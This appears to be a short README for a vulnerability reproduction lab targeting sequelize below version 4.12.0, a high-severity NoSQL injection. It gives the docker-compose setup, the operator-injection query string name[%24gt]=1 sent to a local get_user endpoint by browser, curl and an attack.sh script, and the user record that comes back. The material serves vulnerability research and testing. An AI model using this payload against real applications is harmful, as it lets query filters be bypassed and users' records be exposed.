- module : sequelize
- version : <4.12.0
- severity: high
- type: nosql-injection
docker-compose up --build
- http://localhost:8000/api/get_user?name[%24gt]=1
- the
response
will be {"id":1,"uid":1,"name":"Doe","createdAt":"...","updatedAt":"..."}
- curl http://localhost:8000/api/get_user?name[%24gt]=1
- the
response
will be {"id":1,"uid":1,"name":"Doe","createdAt":"...","updatedAt":"..."}
- bash attack.sh
- the
response
will be {"id":1,"uid":1,"name":"Doe","createdAt":"...","updatedAt":"..."}